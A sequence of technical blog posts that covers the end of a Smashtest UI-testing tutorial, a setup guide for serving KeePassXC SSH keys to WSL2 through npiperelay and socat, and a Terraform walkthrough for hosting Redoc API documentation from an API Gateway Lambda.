<pre><code>* Go to the startpage
Open Firefox
Navigate to 'https://www.google.com'
Click ['I agree']
</code></pre>
<p>Now change the first part of <code>links.smash</code> and <code>main.smash</code> to use that function just created.</p>
<pre><code>Go to the startpage
Type 'hello world[enter]' into 'input'
Type 'hello universe[enter]' into 'input'
</code></pre>
<pre><code>Go to the startpage
Click ['About']
Verify at page 'https://about.google/'
</code></pre>
<p>Run <code>npx smashtest</code> to ensure the tests are still passing.</p>
<h2 id="run-a-single-branch" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#run-a-single-branch">Run a single branch</a></h2>
<p>Each time you run Smashtest it will run all available branches. You can use the <code>$</code> modifier to tell Smashtest to isolate itself to that area.</p>
<p>As an example:</p>
<pre><code>Go to the startpage
$ Type 'hello world[enter]' into 'input'
Type 'hello universe[enter]' into 'input'
</code></pre>
<p>When you run <code>npx smashtest</code> only a single branch, the hello world search, will run. Remove the <code>$</code> before moving on to the next steps.</p>
<h2 id="create-a-smashtest-json" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#create-a-smashtest-json">Create a smashtest.json</a></h2>
<p>Instead of passing arguments to Smashtest, the flags can go into a <code>smashtest.json</code> file. Smashtest will read those values on each run.</p>
<p>Create a <code>smashtest.json</code> with:</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span>
<span class="token property">"headless"</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span>
<span class="token property">"screenshots"</span><span class="token operator">:</span> <span class="token boolean">true</span>
<span class="token punctuation">}</span></code></pre>
<p>If you now run <code>npx smashtest</code>, the browser should open, and the Smashtest report should contain screenshots.</p>
<div class="notice info">
For a list of config that can go in <code>smashtest.json</code>, see <a href="https://slowmonkey.github.io/smashtest-cli-json-mapping">command-line options</a><br />
</div>
<h1 id="a-more-involved-test-on-mdn" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#a-more-involved-test-on-mdn">A more involved test on MDN</a></h1>
<p>The most important skill to learn when writing Smashtests is telling it how to find the element you’re interested in.</p>
<p>Some elements will be easy to find, they’ll have a unique <code>id</code>.<br />
Some elements will be nested deep inside layers of <code>div</code>s or in very dynamic SPAs.</p>
<p>In this next test, you’ll go to Mozilla’s MDN web docs, search for the <code>array</code> object, click the first result, and then change the page’s language to Deutsch. This should cover a few different ways of finding elements.</p>
<div class="notice info">
Due to the nature of the web, these steps may become invalidated in a few years if MDN ever changes.<br />
The screenshots should still illustrate the concepts of finding elements.<br />
</div>
<h2 id="perform-a-search" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#perform-a-search">Perform a search</a></h2>
<p>To begin, open up <a href="https://developer.mozilla.org/">https://developer.mozilla.org</a> in your own browser. Right click the main search textbox and inspect element.<br />
Right away, the <code>id</code> of that input field is an obvious candidate to use.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/005.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/005.png" alt="Inspect element" loading="lazy" /></span>
<figcaption>Inspect element</figcaption>
</figure><p></p>
<p>In a new file, <code>mdn.smash</code>, add these lines. Use the <code>$</code> as this is a new test and you don’t want to wait around for other tests to delay you:</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
$ Type 'array' into '#hp-search-q'
Wait '5' secs
</code></pre>
<p>This should open MDN, type ‘array’ and a dropdown of search results should appear.</p>
<h2 id="click-the-first-search-result" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#click-the-first-search-result">Click the first search result</a></h2>
<p>The next objective is to click the first link in the search results dropdown.</p>
<p>In your <code>mdn.smash</code>:</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
~ Type 'array' into '#hp-search-q'
</code></pre>
<p>Use the <code>~</code> modifier to go into interactive mode. Press enter in the console so that Smashtest proceeds to the next step, and the search results dropdown appears.</p>
<p>Right click and inspect the first search result, as expected there isn’t anything unique that marks it from the others.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/006.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/006.png" alt="Inspect element" loading="lazy" /></span>
<figcaption>Inspect element</figcaption>
</figure><p></p>
<h3 id="picking-useful-selectors" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#picking-useful-selectors">Picking useful selectors</a></h3>
<p>Notice that all the results are under a <code>div</code> with <code>class=search-results</code>. And each item has a <code>class=result-item</code></p>
<p>That means a possible selector is <code>div.search-results .result-item</code>.</p>
<p>Although this will match <em>every</em> search result link, by default Smashtest will match against the first one. To see for yourself, switch to the Console of developer tools, and type this</p>
<pre><code>document.querySelector('div.search-results .result-item')
</code></pre>
<p>The first search result gets highlighted. That’s pretty much the same behavior as Smashtest’s.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/007.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/007.png" alt="Inspect element" loading="lazy" /></span>
<figcaption>Inspect element</figcaption>
</figure><p></p>
<p>Now that you’ve found a good selector to use, try it in the terminal. Entering just a selector will let you know if Smashtest was able to find it.</p>
<pre><code>'div.search-results .result-item'
</code></pre>
<p>Found it:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/007a.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/007a.png" alt="Interactive" loading="lazy" /></span>
<figcaption>Interactive</figcaption>
</figure><p></p>
<p>Both <code>document.querySelector</code> and typing selectors into interactive mode are useful ways of finding what you need on the page.</p>
<p>Now that you know Smashtest can work with it, get Smashtest to click it.</p>
<pre><code>Click 'div.search-results .result-item'
</code></pre>
<p>That should take you to the Array documentation page. Enter <code>x</code> to exit, and add it to your <code>mdn.smash</code>:</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
Type 'array' into '#hp-search-q'
$ Click 'div.search-results .result-item'
</code></pre>
<h3 id="give-selectors-a-friendly-readable-name" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#give-selectors-a-friendly-readable-name">Give selectors a friendly, readable name</a></h3>
<p>The selector <code>'div.search-results .result-item'</code> is not very readable, and neither is <code>'#hp-search-q'</code>. Smashtest has a feature called <code>props</code> which lets you map readable names to CSS selectors.</p>
<p>Props are just another step in the test branch, and are just ‘lookups’, so they can go anywhere in the steps. The <code>mdn.smash</code> can be rewritten like this, try running it:</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
On MDN {
props({
'Search box': `#hp-search-q`,
'Search Result Link': `div.search-results .result-item`
})
}
Type 'array' into 'Search box'
$ Click '1st Search Result Link'
</code></pre>
<p>Notice a few things. The human friendly, readable string <code>Search Result Link</code> has been mapped the CSS selector, it can easily be changed in the future while staying readable.<br />
The <code>1st</code> is just being explicit about which link to click. It can be changed to 2nd, 3rd etc for larger testing. You can only apply ordinals (1st, 2nd, 3rd…) to selectors that match multiple values.<br />
Also, when changing a CSS selector in a step, to a prop, notice how the single quotes <code>'</code> become graves or backticks `.</p>
<h2 id="change-the-language-to-deutsch" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#change-the-language-to-deutsch">Change the language to Deutsch</a></h2>
<p>Once again, use interactive mode, with your <code>mdn.smash</code> so far:</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
On MDN {
props({
'Search box': `#hp-search-q`,
'Search Result Link': `div.search-results .result-item`
})
}
Type 'array' into 'Search box'
~ Click '1st Search Result Link'
</code></pre>
<p>Run it with <code>npx smashtest</code> and press Enter in the console to get to the documentation page. Right click the ‘English’ menu in the top right, and inspect element.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/008.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/008.png" alt="Inspect element" loading="lazy" /></span>
<figcaption>Inspect element</figcaption>
</figure><p></p>
<p>It’s a simple <code>span</code> with the word <code>English</code> in it. In the terminal, try:</p>
<pre><code>[span, 'English']
</code></pre>
<p>And that should work, it basically means, look for any <code>span</code> element on the page, with the inner text ‘Change language’, even if that inner text is nested.</p>
<p>But if you try it without any element, that will work too:</p>
<pre><code>['English']
</code></pre>
<p>This syntax means, look for <em>any</em> element on the page, with the inner text ‘Change language’. In other words, it’s a useful shortcut for strings that you know are unique on a page.</p>
<p>Proceed by clicking it.</p>
<pre><code>Click ['English']
</code></pre>
<p>A dropdown with a list of languages appears. Inspecting the dropdown reveals that it has a unique class, <code>.language-menu</code> and contains a list of <code>li</code> and <code>button</code> with the languages to choose from.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/smashtest-tutorial/009.png">
<img src="https://code.mendhak.com/assets/images/smashtest-tutorial/009.png" alt="Inspect element" loading="lazy" /></span>
<figcaption>Inspect element</figcaption>
</figure><p></p>
<p>In terminal, try:</p>
<pre><code>'.language-menu li'
</code></pre>
<p>This is going to match multiple values, and could probably work, but the requirement is to be more specific. Let’s try the <code>button</code> directly, which contains a <code>name</code> attribute.</p>
<pre><code>Click '.language-menu button[name="de"]'
</code></pre>
<p>That should be enough to update our <code>mdn.smash</code>. Also from previous experience, the selector for Deutsch doesn’t look very readable, so give it a prop.</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
On MDN {
props({
'Search box': `#hp-search-q`,
'Search Result Link': `div.search-results .result-item`,
'German language option': `.language-menu button[name="de"]`
})
}
Type 'array' into 'Search box'
Click '1st Search Result Link'
Click ['English']
$ Click 'German language option'
</code></pre>
<p>Taking it even further, those finders in square brackets can also be converted to props. Square brackets become backticks.</p>
<pre><code>Open Firefox
Navigate to 'https://developer.mozilla.org/'
On MDN {
props({
'Search box': `#hp-search-q`,
'Search Result Link': `div.search-results .result-item`,
'German language option': `.language-menu button[name="de"]`,
'Change language button': `'English'`
})
}
Type 'array' into 'Search box'
Click '1st Search Result Link'
Click 'Change language button'
$ Click 'German language option'
</code></pre>
<h1 id="other-topics" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#other-topics">Other topics</a></h1>
<p>This tutorial has covered the basics of Smashtest. There are several other useful features not covered, but which are pretty handy as you write more and more tests.</p>
<p>When writing functions, it’s possible to write <a href="https://smashtest.io/language/code-blocks">functions with JavaScript</a>, see <a href="https://smashtest.io/language/code-reference">the code reference</a>.</p>
<p>The <a href="https://smashtest.io/language/groups-and-freq">Groups feature</a> lets you target devices, browsers, and your own custom tags.</p>
<p><a href="https://smashtest.io/ui-testing/elementfinders">Element finders</a> are briefly covered above with selectors, and <a href="https://smashtest.io/ui-testing/default-elementfinder-props">this page covers</a> the many different ways you can match and find things on a page.</p>
<p>The <a href="https://smashtest.io/language/variables">Variables feature</a> lets you define values externally or from smashtest.json, and use them in the steps.</p>
<p>Smashtest can also be used for <a href="https://smashtest.io/api-testing/request">API testing</a>.</p>
<h2 id="smashtests-and-docker" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/smashtest-tutorial/#smashtests-and-docker">Smashtests and Docker</a></h2>
<p>It’s a good idea to run Smashtests as part of CI/CD, either after a deployment or as an after-hours run.</p>
<p>Smashtest can run against a Selenium Grid inside Docker. You can set up a Docker Compose file that has a Selenium Grid in it.</p>
<pre><code>services:
hub:
image: selenium/hub:latest
ports:
- 4444:4444
chrome:
image: selenium/node-chrome-debug:latest
environment:
- HUB_PORT_4444_TCP_ADDR=hub
- HUB_PORT_4444_TCP_PORT=4444
depends_on:
- hub
firefox:
image: selenium/node-firefox-debug:latest
environment:
- HUB_PORT_4444_TCP_ADDR=hub
- HUB_PORT_4444_TCP_PORT=4444
depends_on:
- hub
</code></pre>
<p>Bring it up with <code>docker-compose up -d</code>, then point Smashtest at this local grid using the test-server argument:</p>
<pre><code>npx smashtest --test-server=http://localhost:4444/wd/hub
</code></pre>
<p>Any tests you run this way will be headless, so you should enable screenshots to see what’s going on.</p>
<p>You can also set up your own <a href="https://code.mendhak.com/selenium-grid-ecs/">Selenium Grid using ECS Fargate</a>.</p>
How to use KeepassXC to serve SSH keys to WSL2 and Ubuntu2021-05-10T00:00:00Zhttps://code.mendhak.com/wsl2-keepassxc-ssh/<p>I have previously shown how to <a href="https://code.mendhak.com/posts/2020-05-03-wsl-keepassxc-ssh.md">serve keys to WSL1</a>, here I’ll be going over the method to do it for <strong>WSL2</strong>.</p>
<p>KeepassXC can be used to serve SSH keys to WSL2, which is useful when remoting on to servers, or using Git over SSH. Some benefits of putting your SSH key into your KeepassXC are that you can have a strong password on the private key but don’t need to type it out each time, and that you don’t need to save your keys on disk - you can let KeePassXC manage the storage, unlocking and serving of the keys for you.</p>
<div class="notice info">
You can also skip the steps and go straight to <a href="https://code.mendhak.com/wsl2-keepassxc-ssh/#all-together-in-one-script">the setup script</a>
</div>
<h2 id="set-up-keepassxc" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#set-up-keepassxc">Set up KeePassXC</a></h2>
<p>Open up KeePassXC’s settings, and choose to <code>Enable SSH Agent</code> and also <code>Use OpenSSH for Windows instead of Pageant</code>.<br />
The second option requires the OpenSSH service in Windows to already be running, you will get an error message if it isn’t.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/001.png">
<img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/001.png" alt="KeepassXC settings, enable SSH agent and OpenSSH" title="" loading="lazy" /></span>
<figcaption>KeepassXC settings</figcaption>
</figure><p></p>
<h3 id="store-an-ssh-key" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#store-an-ssh-key">Store an SSH key</a></h3>
<p>Create a new entry in your database, give it some name, and in the password field, put the passphrase for your SSH key.</p>
<p>In the advanced section, attach your public and private key, then hit OK, then save the entry. You need to save so that the SSH Agent can read your key in the next step.</p>
<p>Now reopen the entry, then go to the SSH Agent section, under Private key, pick the file you attached earlier. The rest of the section should get filled out with details about your key. Once again hit OK and save; KeePassXC is now serving those keys to the Windows SSH agent.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/002.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/002.png" alt="KeepassXC entry for Github Key" title="" loading="lazy" data-caption="My Github Key" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/003.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/003.png" alt="Private and public key attached to KeepassXC entry" title="" loading="lazy" data-caption="The attached keys" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/004.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/004.png" alt="KeepassXC SSH settings, add key to agent" title="" loading="lazy" data-caption="Add key to agent" style="width: calc(33% - 0.5em);" /></span>
<figcaption>KeePassXC settings</figcaption></figure>
<h2 id="get-npiperelay" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#get-npiperelay">Get Npiperelay</a></h2>
<p><a href="https://github.com/jstarks/npiperelay">npiperelay</a> allows named pipes to communicate between Linux in WSL and Windows. It is a Windows based tool and needs to be run from the Windows side.</p>
<p>You can do this from WSL2, download and extract the npiperelay binary to a Windows directory of your choice.</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">npiperelaypath</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>wslpath <span class="token string">"C:/npiperelay"</span><span class="token variable">)</span></span>
<span class="token builtin class-name">cd</span> ~
<span class="token function">wget</span> https://github.com/jstarks/npiperelay/releases/latest/download/npiperelay_windows_amd64.zip
<span class="token function">unzip</span> npiperelay_windows_amd64.zip <span class="token parameter variable">-d</span> <span class="token variable">$npiperelaypath</span>
<span class="token function">rm</span> npiperelay_windows_amd64.zip</code></pre>
<p>This puts the npiperelay.exe at <code>C:\npiperelay\</code>, so adjust the path to your liking.</p>
<div class="notice info">
You can also <a href="https://github.com/jstarks/npiperelay/releases">download npiperelay</a> to the Windows side, and substitute the corresponding path below with slash notations, such as <code>/c/Temp/npiperelay.exe</code>
</div>
<h2 id="install-socat" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#install-socat">Install socat</a></h2>
<p>In your WSL2, install socat, to allow communication with npiperelay.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> socat</code></pre>
<h2 id="tell-wsl-to-use-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#tell-wsl-to-use-it">Tell WSL to use it</a></h2>
<p>You will need to tell WSL2 to talk to npiperelay via socat, so that it can talk to Windows SSH Agent, so that it can fetch your keys from KeePassXC.</p>
<p>In your <code>~/.bashrc</code>, add the following lines. This code checks to see if the agent socket is up,</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">SSH_AUTH_SOCK</span></span><span class="token operator">=</span><span class="token environment constant">$HOME</span>/.ssh/agent.sock
ss <span class="token parameter variable">-a</span> <span class="token operator">|</span> <span class="token function">grep</span> <span class="token parameter variable">-q</span> <span class="token environment constant">$SSH_AUTH_SOCK</span>
<span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token variable">$?</span> <span class="token parameter variable">-ne</span> <span class="token number">0</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">then</span>
<span class="token function">rm</span> <span class="token parameter variable">-f</span> <span class="token environment constant">$SSH_AUTH_SOCK</span>
<span class="token assign-left variable">npiperelaypath</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>wslpath <span class="token string">"C:/npiperelay"</span><span class="token variable">)</span></span>
<span class="token punctuation">(</span>setsid socat UNIX-LISTEN:<span class="token environment constant">$SSH_AUTH_SOCK</span>,fork EXEC:<span class="token string">"<span class="token variable">$npiperelaypath</span>/npiperelay.exe -ei -s //./pipe/openssh-ssh-agent"</span>,nofork <span class="token operator">&</span><span class="token punctuation">)</span> <span class="token operator">></span>/dev/null <span class="token operator"><span class="token file-descriptor important">2</span>></span><span class="token file-descriptor important">&1</span>
<span class="token keyword">fi</span></code></pre>
<div class="notice info">
If you’ve put npiperelay.exe in another location, replace the <code>$HOME/npiperelay/npiperelay.exe</code> above.
</div>
<p>Exit and reopen your shell, and this should call out to npiperelay. There is no visual indication to know it’s working, you can only find out by testing it.</p>
<h2 id="test-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#test-it">Test it</a></h2>
<p>Assuming you’ve already added your public key to Github, do a quick test.</p>
<pre><code>$ ssh -T git@github.com
Hi mendhak! You've successfully authenticated, but GitHub does not provide shell access.
</code></pre>
<h2 id="all-together-in-one-script" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#all-together-in-one-script">All together in one script</a></h2>
<p>Save this to a bash script and execute it. It should do all of the above steps including writing to <code>~/.bashrc</code>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">cd</span> ~
<span class="token builtin class-name">echo</span> <span class="token string">"Get npiperelay"</span>
<span class="token function">wget</span> https://github.com/jstarks/npiperelay/releases/latest/download/npiperelay_windows_amd64.zip
<span class="token function">unzip</span> npiperelay_windows_amd64.zip <span class="token parameter variable">-d</span> <span class="token variable">$npiperelaypath</span>
<span class="token function">rm</span> npiperelay_windows_amd64.zip
<span class="token builtin class-name">echo</span> <span class="token string">"Install socat"</span>
<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token parameter variable">-y</span> <span class="token function">install</span> socat
<span class="token builtin class-name">echo</span> <span class="token string">"Add to .bashrc"</span>
<span class="token function">cat</span> <span class="token operator"><<</span> <span class="token string">'EOF'<span class="token bash punctuation"> <span class="token operator">>></span> ~/.bashrc</span>
export SSH_AUTH_SOCK=$HOME/.ssh/agent.sock
ss -a | grep -q $SSH_AUTH_SOCK
if [ $? -ne 0 ]; then
rm -f $SSH_AUTH_SOCK
npiperelaypath=$(wslpath "C:/npiperelay")
(setsid socat UNIX-LISTEN:$SSH_AUTH_SOCK,fork EXEC:"$npiperelaypath/npiperelay.exe -ei -s //./pipe/openssh-ssh-agent",nofork &) >/dev/null 2>&1
fi
EOF</span>
<span class="token builtin class-name">echo</span> <span class="token string">"Reload ~/.bashrc"</span>
<span class="token builtin class-name">exec</span> <span class="token function">bash</span>
<span class="token builtin class-name">echo</span> <span class="token string">"Done"</span>
</code></pre>
<h2 id="troubleshooting-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#troubleshooting-notes">Troubleshooting Notes</a></h2>
<h3 id="make-sure-the-versions-match" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl2-keepassxc-ssh/#make-sure-the-versions-match">Make sure the versions match</a></h3>
<p>On Windows 11, you may also need to ensure that the OpenSSH versions match or are close enough. First, check the Ubuntu SSH version.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">ssh</span> <span class="token parameter variable">-v</span> localhost
OpenSSH_8.9p1 Ubuntu-3ubuntu0.1, OpenSSL <span class="token number">3.0</span>.2 <span class="token number">15</span> Mar <span class="token number">2022</span></code></pre>
<p>On Windows 11 I’ve found the version of OpenSSH is a bit older so I’ve had to install a later, matching version using winget. In Powershell:</p>
<pre class="language-powershell"><code class="language-powershell">> winget install Microsoft<span class="token punctuation">.</span>OpenSSH<span class="token punctuation">.</span>Beta <span class="token operator">--</span>version 8<span class="token punctuation">.</span>9<span class="token punctuation">.</span>1<span class="token punctuation">.</span>0</code></pre>
<p>Once these versions were close enough, the SSH Agent started working.</p>
Host your API Gateway documentation in API Gateway2021-05-05T00:00:00Zhttps://code.mendhak.com/api-gateway-self-hosted-documentation/<p>It’s possible to host your OpenAPI (Swagger) JSON as well the UI from within API Gateway itself, without needing an S3 bucket or any additional infrastructure.</p>
<p>The most common recommended ways of hosting API Gateway documentation often involve putting the OpenAPI JSON, along with a static website, on an S3 bucket and directing users to that. But this isn’t simple and introduces deployment complexity. It’s easier though, to simply serve the JSON and UI from a Lambda. This is convenient as it allows your API code sit with, and be deployed with, the rest of your code.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/api-gateway-self-hosted/001.png">
<img src="https://code.mendhak.com/assets/images/api-gateway-self-hosted/001.png" alt="Concept" loading="lazy" /></span>
<figcaption>Concept</figcaption>
</figure><p></p>
<p>This can be done by getting API Gateway to pass everything from the path <code>/docs</code> onwards to your Lambda which in turn just serves documentation.</p>
<h2 id="sample-code" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#sample-code">Sample Code</a></h2>
<p>I’ve prepared <a href="https://github.com/mendhak/API-Gateway-Self-Hosted-Documentation">a sample repo</a> which creates an API Gateway with a /docs endpoint.</p>
<p>To use it, clone the repo, create the Lambda’s zip file, then run terraform.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">zip</span> <span class="token parameter variable">-j</span> example.zip example/*
terraform apply</code></pre>
<p>This will create the API Gateway, various integrations, Lambda and the IAM permissions required. The output from <code>terraform apply</code> will print out a URL, like:</p>
<pre><code>go_to = "https://bolcx9v796.execute-api.eu-west-1.amazonaws.com/test/docs/"
</code></pre>
<p>Open that URL in a browser you should see a single page with the Petstore documentation, using Redoc’s theme.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/api-gateway-self-hosted/002.png">
<img src="https://code.mendhak.com/assets/images/api-gateway-self-hosted/002.png" alt="Screenshot" loading="lazy" /></span>
<figcaption>Screenshot</figcaption>
</figure><p></p>
<p>Notice that the URL ends with <code>/docs/</code>.</p>
<p>If you have a custom domain on your API Gateway, this could become something pleasing to the eye, such as <code>https://api.example.com/docs/</code></p>
<p>Take a look at the network traffic, you’ll see a request made to <code>/docs/swagger.json</code>. Both of these requests are handled by the same API Gateway endpoint and same Lambda.</p>
<p><a href="https://github.com/mendhak/API-Gateway-Self-Hosted-Documentation"><button>Sample repo</button></a></p>
<p>I’ll point out some highlights from the code below.</p>
<h2 id="handling-docs-and-docs" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#handling-docs-and-docs">Handling <code>/docs</code> and <code>/docs/</code></a></h2>
<p>In the <a href="https://github.com/mendhak/API-Gateway-Self-Hosted-Documentation/blob/master/main.tf">main Terraform code</a>, we need to create one resource for <code>/docs</code> and then one for <code>/docs/{proxy+}</code> as a child of the <code>/docs</code>.</p>
<pre class="language-hcl"><code class="language-hcl"> <span class="token keyword">resource <span class="token type variable">"aws_api_gateway_resource"</span></span> <span class="token string">"docs"</span> <span class="token punctuation">{</span>
<span class="token property">rest_api_id</span> <span class="token punctuation">=</span> aws_api_gateway_rest_api.example.id
<span class="token property">parent_id</span> <span class="token punctuation">=</span> aws_api_gateway_rest_api.example.root_resource_id
<span class="token property">path_part</span> <span class="token punctuation">=</span> <span class="token string">"docs"</span>
<span class="token punctuation">}</span>
<span class="token keyword">resource <span class="token type variable">"aws_api_gateway_resource"</span></span> <span class="token string">"proxy"</span> <span class="token punctuation">{</span>
<span class="token property">rest_api_id</span> <span class="token punctuation">=</span> aws_api_gateway_rest_api.example.id
<span class="token property">parent_id</span> <span class="token punctuation">=</span> aws_api_gateway_resource.docs.id
<span class="token property">path_part</span> <span class="token punctuation">=</span> <span class="token string">"{proxy+}"</span>
<span class="token punctuation">}</span>
</code></pre>
<p>The first resource handles <code>/docs</code>, and the second one handles everything after that, <code>/docs/{proxy+}</code>. Notice the the parent of the second resource is set to the first resource.</p>
<p>The <code>{proxy+}</code> is known as a greedy path variable, think of it a wildcard in your API Gateway URLs.</p>
<h3 id="both-go-to-the-same-lambda" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#both-go-to-the-same-lambda">Both go to the same Lambda</a></h3>
<p>It’s a similar thing with the Lambda integration. Both resources point at the same Lambda.</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token keyword">resource <span class="token type variable">"aws_api_gateway_integration"</span></span> <span class="token string">"lambda_docs_root"</span> <span class="token punctuation">{</span>
...
<span class="token property">integration_http_method</span> <span class="token punctuation">=</span> <span class="token string">"POST"</span>
<span class="token property">type</span> <span class="token punctuation">=</span> <span class="token string">"AWS_PROXY"</span>
<span class="token property">uri</span> <span class="token punctuation">=</span> aws_lambda_function.example.invoke_arn
<span class="token punctuation">}</span>
<span class="token keyword">resource <span class="token type variable">"aws_api_gateway_integration"</span></span> <span class="token string">"lambda"</span> <span class="token punctuation">{</span>
...
<span class="token property">integration_http_method</span> <span class="token punctuation">=</span> <span class="token string">"POST"</span>
<span class="token property">type</span> <span class="token punctuation">=</span> <span class="token string">"AWS_PROXY"</span>
<span class="token property">uri</span> <span class="token punctuation">=</span> aws_lambda_function.example.invoke_arn
<span class="token punctuation">}</span>
</code></pre>
<h2 id="redoc-in-index-html" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#redoc-in-index-html">Redoc in index.html</a></h2>
<p>We are using <a href="https://github.com/Redocly/redoc">Redoc</a> to generate the documentation, as the code involved is very simple. It’s just a single HTML page with some JS, and a reference to the swagger.json.</p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>redoc</span> <span class="token attr-name">spec-url</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">'</span>swagger.json<span class="token punctuation">'</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>redoc</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://cdn.jsdelivr.net/npm/redoc@next/bundles/redoc.standalone.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span></code></pre>
<p>When you go to the <code>/docs/</code> URL, the OpenAPI JSON is requested from <code>/docs/swagger.json</code>.</p>
<h3 id="ensure-trailing-slashes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/api-gateway-self-hosted-documentation/#ensure-trailing-slashes">Ensure trailing slashes</a></h3>
<p>Because the swagger.json is relative to index.html, if you go to <code>/docs</code> <em>without</em> a trailing slash, the browser will request the JSON at <code>/swagger.json</code> instead. Since that request doesn’t hit the <code>/docs</code> endpoint, the page fails to load.</p>
<p>This is remedied by adding a little script at the top of the page to ensure the page gets redirected if there’s no trailing slash in the URL.</p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>pathname<span class="token punctuation">.</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token string">"/"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>pathname <span class="token operator">+=</span> <span class="token string">"/"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span></code></pre>
